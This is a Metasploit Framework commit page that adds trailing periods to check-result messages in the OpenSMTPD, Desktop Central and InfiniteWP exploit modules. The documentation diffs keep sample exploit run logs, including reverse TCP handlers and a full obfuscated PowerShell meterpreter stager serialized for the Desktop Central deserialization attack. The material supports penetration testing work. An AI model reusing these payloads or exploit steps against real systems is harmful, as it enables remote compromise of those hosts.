Skip to content

Commit

Permalink
Punctuate check prints to match CheckCodes
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Apr 8, 2020
1 parent 8e8ce15 commit dba1b6b
Show file tree
Hide file tree
Showing 6 changed files with 17 additions and 17 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] OpenSMTPD 6.6.0 is using new grammar
[+] The target appears to be vulnerable. OpenSMTPD 6.6.0 appears vulnerable to CVE-2020-8794
[+] The target appears to be vulnerable. OpenSMTPD 6.6.0 appears vulnerable to CVE-2020-8794.
[*] Started service listener on 0.0.0.0:25
[*] Executing local sendmail(8) command: /usr/sbin/sendmail 'brvaysxuzssmnjkysoh@[172.16.249.1]' < /dev/null && echo true
[*] Client 172.16.249.137:37747 connected
Expand Down Expand Up @@ -106,7 +106,7 @@ msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] OpenSMTPD 6.0.4 is using old grammar
[+] The target appears to be vulnerable. OpenSMTPD 6.0.4 appears vulnerable to CVE-2020-8794
[+] The target appears to be vulnerable. OpenSMTPD 6.0.4 appears vulnerable to CVE-2020-8794.
[*] Started service listener on 0.0.0.0:25
[*] Executing local sendmail(8) command: /usr/sbin/sendmail 'nozahdogyxewkv@[172.16.249.1]' < /dev/null && echo true
[*] Client 172.16.249.138:10203 connected
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,7 @@ msf5 exploit(windows/http/desktopcentral_deserialization) > run
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Detected Desktop Central version 100465
[+] The target appears to be vulnerable. 100465 is an exploitable version
[+] The target appears to be vulnerable. 100465 is an exploitable version.
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_tcp
[*] Powershell command length: 2502
[*] Serializing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAImual4CA7VWa2+bSBT9nEj5D6iyBCiOjV0nTSNV2gFDjGu7psSP2GutCAww8QAuDLFJt/9979iQptt0t11pERLzuM9zz8zFz2OXkSQWEuuy/Ub4fHJ8NHZSJxKk2pr6al4XarkiHx3Beu1+aAbCO0Faos2mm0QOiVdXV1qepjhmh3njGjOUZTi6owRnkiz8KcxCnOKzD3f32GXCZ6H2R+OaJncOLcUKzXFDLJyh2ON7g8R1eDgNe0MJk8Tffxfl5Vlr1dA/5Q7NJNEuMoajhkepKAtfZO7wpthgSRwSN02yxGeNGYlftxuTOHN8PAJrD3iIWZh4mShDFvCmmOVpLOzz4QYO25IIw3GauMjzUpxlYl1YctPL1eo3aVn6/ZjHjES4YcYMp8nGxukDcXHW6DmxR/FH7K9Ay2YpiYOVLIPYQ7LGUi3OKa0Lv2JGGuFthdrPKknPlUBqzFK5DoV8Ic9h4uUUHzTFFwI9FF+G50AAQO7LyfHJsV/RxX2rec/ZAqOj5X6MITppnGRkL/dOUOrCEPw4LEkLmNZu0hzLqydshVrkTOs/Vm9VslyyVzzC0nKaEG8FKmU9a87FoMvXf8zLLvZJjLtF7ETEragnvQQy9inep9ioxEYQlCSWG9jrYooDh3HYeK2/U9Mjwp501ZxQD6fIhUJlEBXUUP42mEMlJNGMhzgCiA5zIF/NB8LjSrokeVF553MQEjXqZFldGOdw4ty6YGOHYq8uoDgj5RbKWbIfil/DHeaUEdfJWGVuJVc4lv60JM5YmrtQNcj9xt5glziUQ1EXesT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ShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
Expand Down
6 changes: 3 additions & 3 deletions lib/msf/core/exploit/auto_check.rb
Original file line number Diff line number Diff line change
Expand Up @@ -31,13 +31,13 @@ def exploit
print_warning(checkcode.message)
when Exploit::CheckCode::Safe
fail_with(Module::Failure::NotVulnerable,
"#{checkcode.message}. Disable AutoCheck to override.")
"#{checkcode.message} Disable AutoCheck to override.")
when Exploit::CheckCode::Unsupported
fail_with(Module::Failure::BadConfig,
"#{checkcode.message}. Disable AutoCheck to override.")
"#{checkcode.message} Disable AutoCheck to override.")
else
fail_with(Module::Failure::Unknown,
"#{checkcode.message}. Disable AutoCheck to override.")
"#{checkcode.message} Disable AutoCheck to override.")
end
end

Expand Down
8 changes: 4 additions & 4 deletions modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -74,13 +74,13 @@ def check
smtpd_help = cmd_exec('smtpd -h')

if smtpd_help.empty?
return CheckCode::Unknown('smtpd(8) help could not be displayed')
return CheckCode::Unknown('smtpd(8) help could not be displayed.')
end

version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first

unless version
return CheckCode::Unknown('OpenSMTPD version could not be found')
return CheckCode::Unknown('OpenSMTPD version could not be found.')
end

version = Gem::Version.new(version)
Expand All @@ -95,11 +95,11 @@ def check
end

return CheckCode::Appears(
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794."
)
end

CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794.")
end

def exploit
Expand Down
4 changes: 2 additions & 2 deletions modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb
Original file line number Diff line number Diff line change
Expand Up @@ -81,11 +81,11 @@ def check
end

unless (version = wordpress_version)
return CheckCode::Unknown('Could not detect WordPress version')
return CheckCode::Unknown('Could not detect WordPress version.')
end

if Gem::Version.new(version) >= Gem::Version.new('4.9')
return CheckCode::Safe("WordPress #{version} is an unsupported target")
return CheckCode::Safe("WordPress #{version} is an unsupported target.")
end

vprint_good("WordPress #{version} is a supported target")
Expand Down
10 changes: 5 additions & 5 deletions modules/exploits/windows/http/desktopcentral_deserialization.rb
Original file line number Diff line number Diff line change
Expand Up @@ -83,26 +83,26 @@ def check
)

unless res
return CheckCode::Unknown('Target is not responding to check')
return CheckCode::Unknown('Target is not responding to check.')
end

unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
return CheckCode::Unknown('Target is not running Desktop Central')
return CheckCode::Unknown('Target is not running Desktop Central.')
end

version = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text

unless version
return CheckCode::Detected('Could not detect Desktop Central version')
return CheckCode::Detected('Could not detect Desktop Central version.')
end

vprint_status("Detected Desktop Central version #{version}")

if Gem::Version.new(version) < notes['PatchedVersion']
return CheckCode::Appears("#{version} is an exploitable version")
return CheckCode::Appears("#{version} is an exploitable version.")
end

CheckCode::Safe("#{version} is not an exploitable version")
CheckCode::Safe("#{version} is not an exploitable version.")
end

def exploit
Expand Down

0 comments on commit dba1b6b

Please sign in to comment.